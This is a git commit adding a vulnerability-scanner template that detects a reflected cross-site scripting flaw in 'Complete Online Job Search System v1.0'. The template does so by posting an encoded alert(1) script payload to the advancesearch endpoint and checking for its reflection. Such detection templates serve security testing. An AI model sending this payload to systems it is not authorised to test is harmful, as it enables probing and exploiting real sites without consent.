Create eris-xss.yaml

patch-1
Arafat Ansari 2022-07-18 18:14:09 +05:30 committed by GitHub
parent c8d2139e54
commit d004cb9b65
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 35 additions and 0 deletions

View File

@ -0,0 +1,35 @@
id: eris-xss
info:
name: Complete Online Job Search System v1.0 - Reflected Cross Site Scripting
author: arafatansari
severity: medium
description: |
Complete Online Job Search System v1.0 is vulnerable to Reflected Cross Site Scripting via index.php?q=advancesearch.
tags: cve,cve2022,xss
requests:
- raw:
- |
POST /index.php?q=result&searchfor=advancesearch HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
SEARCH=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&COMPANY=&CATEGORY=&submit=Submit
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(1)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200